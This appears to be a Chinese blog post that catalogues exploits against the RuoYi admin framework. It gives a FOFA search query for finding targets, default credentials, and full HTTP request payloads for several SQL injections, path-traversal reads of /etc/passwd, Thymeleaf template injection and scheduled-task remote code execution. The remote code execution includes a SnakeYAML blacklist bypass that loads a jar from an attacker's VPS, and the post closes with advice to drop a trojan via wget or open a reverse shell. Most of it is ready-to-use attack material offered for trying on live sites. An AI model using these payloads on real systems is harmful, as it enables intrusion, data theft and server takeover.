实战若依ruoyi框架
一、前言
最近在挖某src的时候,碰到了一套若依,本以为啥都没有,结果随手一测若依存在的历史漏洞基本都有。是通过很奇怪的信息收集方式找到这个站的,分享出来让大家看看。
老司机一看就明白了我在找什么,虽然说机会不大,但偏偏就让我遇到了。
二、ruoyi(若依)框架
若依(Ruoyi)框架是一款基于 Spring Boot 2.5.5、Spring Cloud 2020.0、OAuth2 与 JWT 鉴权等核心技术,同时也支持Spring Security、Apache Shiro 等多种安全框架,以及 Mybatis、JPA 等流行持久化框架,提供了许多常用的功能模块,包括系统管理、监控管理、任务调度、代码生成、文件上传、高德地图等功能的快速开发平台。
若依框架采用前后端分离的模式,基于Vue.js实现了前端UI框架,采用Feign作为服务调用,通过 Nacos 实现统一配置管理,是一款高效率、低封装、面向前端的开发框架。
fofa语句:app=“若依-管理系统”
三、ruoyi(若依)漏洞
前端存储账号密码
这个站进来是这样的,没错就是账号密码存储在前端,本来想试试弱口令的,这账号密码都摆着了,(狗头)
不过大家遇见若依一般是不会有这种情况的,下面是若依系统常见的弱口令:
admin/admin123
ry/admin123
ruoyi/admin123
识别若依框架也很简单,大概就长这样,如果验证码是简单计算,存在记住密码也可能是若依
1. SQL注入1
/system/role/list端点存在注入
POC:
POST /system/role/list HTTP/1.1
Host: ip:port
Content-Length: 179
sec-ch-ua: “Chromium”;v=“109”, “Not_A Brand”;v=“99”
Accept: application/json, text/javascript, /; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: “Windows”
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: yourcookie
Connection: close
pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
2. SQL注入2
/system/dept/edit此接口存在SQL注入
POST /system/dept/edit HTTP/1.1
Host: ip:port
Content-Length: 111
sec-ch-ua: “Chromium”;v=“109”, “Not_A Brand”;v=“99”
Accept: application/json, text/javascript, /; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: “Windows”
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: yourcookie
Connection: close
DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#
3. SQL注入3
/system/role/export端点存在注入
poc:
POST /system/role/export HTTP/1.1
Host: ip:port
Content-Length: 75
sec-ch-ua: “Chromium”;v=“109”, “Not_A Brand”;v=“99”
Accept: application/json, text/javascript, /; q=0.01
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
sec-ch-ua-platform: “Windows”
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/system/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: yourcookie
Connection: close
params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))
4. SQL注入4
/tool/gen/createTable端点
如果页面如下则可能存在漏洞
这里没有漏洞,我把poc放上来大家可以试试
POST
sql=CREATE table ss1 as SELECT//* FROM sys_job WHERE 1=1 union//SELECT//extractvalue(1,concat(0x7e,(select//version()),0x7e));
5. 后台任意文件读取
/common/download/resource?resource=/profile/…/…/…/…/Windows/win.ini
/common/download/resource?resource=/profile/…/…/…/…/etc/passwd
6. 任意文件读取2
漏洞影响:RuoYi<4.7.6
首先创建一个定时任务:
POST /monitor/job/edit HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=6db3d8ea-2d5c-490e-9863-6ef864b99828
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 187
jobId=4&updateBy=admin&jobName=beb528e3&jobGroup=DEFAULT&invokeTarget=ruoYiConfig.setProfile(‘/etc/passwd’)&cronExpression=0%2F10+++++%3F&misfirePolicy=1&concurrent=1&status=1&remark=
执行一边定时任务
POST /monitor/job/run HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=6db3d8ea-2d5c-490e-9863-6ef864b99828
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 7
jobId=4
下载任意文件,可获得前面读取的文件内容
GET /common/download/resource?resource=2.txt HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=6db3d8ea-2d5c-490e-9863-6ef864b99828
Host: 192.168.0.129:8088
Connection: close
7. shiro反序列化
若依系统是使用了shiro的,所以可以直接当shiro来打。
直接一把梭哈
8. 后台定时任务RCE
由于若依后台计划任务处,对于传入的“调用目标字符串”没有任何校验,导致攻击者可以调用任意类、方法及参数触发反射执行命令。影响版本:RuoYi<4.6.2
1.下载exp
https://github.com/artsploit/yaml-payload
2.修改 AwesomeScriptEngineFactory.java文件,exec里改成要执行的命令
3.编译
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
就会生成一个.jar文件,放在vps上,开启一个http服务
python3 -m http.server 5555
然后回到若依后台,添加一个计划任务,这里直接用工具了
9. 后台计划任务2
漏洞影响:4.6.2 < Ruoyi < 4.7.2
这个版本采用了黑名单限制调用字符串
定时任务屏蔽 ldap 远程调用
定时任务屏蔽 http(s) 远程调用
定时任务屏蔽 rmi 远程调用
bypass:
org.yaml.snakeyaml.Yaml.load(‘!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL [“h’t’t’p://vps:8080/yaml-payload-for-ruoyi-1.0-SNAPSHOT.jar”] # 这里写自己的 vps
]]
]’)
10.thymeleaf 模板注入
漏洞影响:RuoYi <= v4.7.1
payload1:
POST /monitor/cache/getNames HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=3fb3eab8-b052-4152-8dc4-3d1b182b2635
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 219
cacheName=1&fragment=((${T (java.lang.Runtime).getRuntime().exec(“gnome-calculator”)}))
payload部分进行编码
POST /monitor/cache/getNames HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=3fb3eab8-b052-4152-8dc4-3d1b182b2635
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 219
cacheName=1&fragment=%28%28%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%
67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%67%6e%6f%6d%65%2d%63%61%6c%63%75%6c%61%74%6f%72%22%29%7d%29%29
payload2:
POST /monitor/cache/getValue HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=3fb3eab8-b052-4152-8dc4-3d1b182b2635
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 219
cacheName=1&fragment=%28%28%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%67%6e%6f%6d%65%2d%63%61%6c%63%75%6c%61%74%6f%72%22%29%7d%29%29
payload3:
POST /monitor/cache/getKeys HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=3fb3eab8-b052-4152-8dc4-3d1b182b2635
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 219
cacheName=1&fragment=%28%28%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%67%6e%6f%6d%65%2d%63%61%6c%63%75%6c%61%74%6f%72%22%29%7d%29%29
11. jdbc template sql注入
把要执行的sql语句放入其中:
update sys_job set invoke_target=(select user()) where job_id=8;
进行十六进制编码
POST /monitor/job/edit HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=86914e57-a41e-4a9a-b97f-ec4ad1873cb4
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 317
jobId=8&updateBy=admin&jobName=2afeb72c&jobGroup=DEFAULT&invokeTarget=jdbcTemplate.execute(‘set @a8 = 0x757064617465207379735F6A6F622073657420696E766F6B655F7461726765743D2873656C656374207573657228292920207768657265206A6F625F69643D383B;’)&cronExpression=0%2F10+++++%3F&misfirePolicy=1&concurrent=1&status=1&remark=
重复执行定时任务,jobid保持一致
POST /monitor/job/run HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=86914e57-a41e-4a9a-b97f-ec4ad1873cb4
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 7
jobId=8
POST /monitor/job/edit HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=86914e57-a41e-4a9a-b97f-ec4ad1873cb4
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 194
jobId=8&updateBy=admin&jobName=5421bad7&jobGroup=DEFAULT&invokeTarget=jdbcTemplate.execute(‘prepare a8 from @a8;’)&cronExpression=0%2F10+++++%3F&misfirePolicy=1&concurrent=1&status=1&remark=
重复执行定时任务
POST /monitor/job/edit HTTP/1.1
accept: /
user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)
Cookie: JSESSIONID=86914e57-a41e-4a9a-b97f-ec4ad1873cb4
Host: 192.168.0.129:8088
Connection: close
Content-type: application/x-www-form-urlencoded
Content-Length: 185
jobId=8&updateBy=admin&jobName=cc0439d8&jobGroup=DEFAULT&invokeTarget=jdbcTemplate.execute(‘execute a8;’)&cronExpression=0%2F10+++++%3F&misfirePolicy=1&concurrent=1&status=1&remark=
重复执行定时任务
访问
http://192.168.0.129:8088/monitor/job/detail/8
获取shell
两种方法
一、用wget下载木马执行命令,或者move到网站目录
二、直接反弹shell
四、ruoyi漏洞总结
若依识别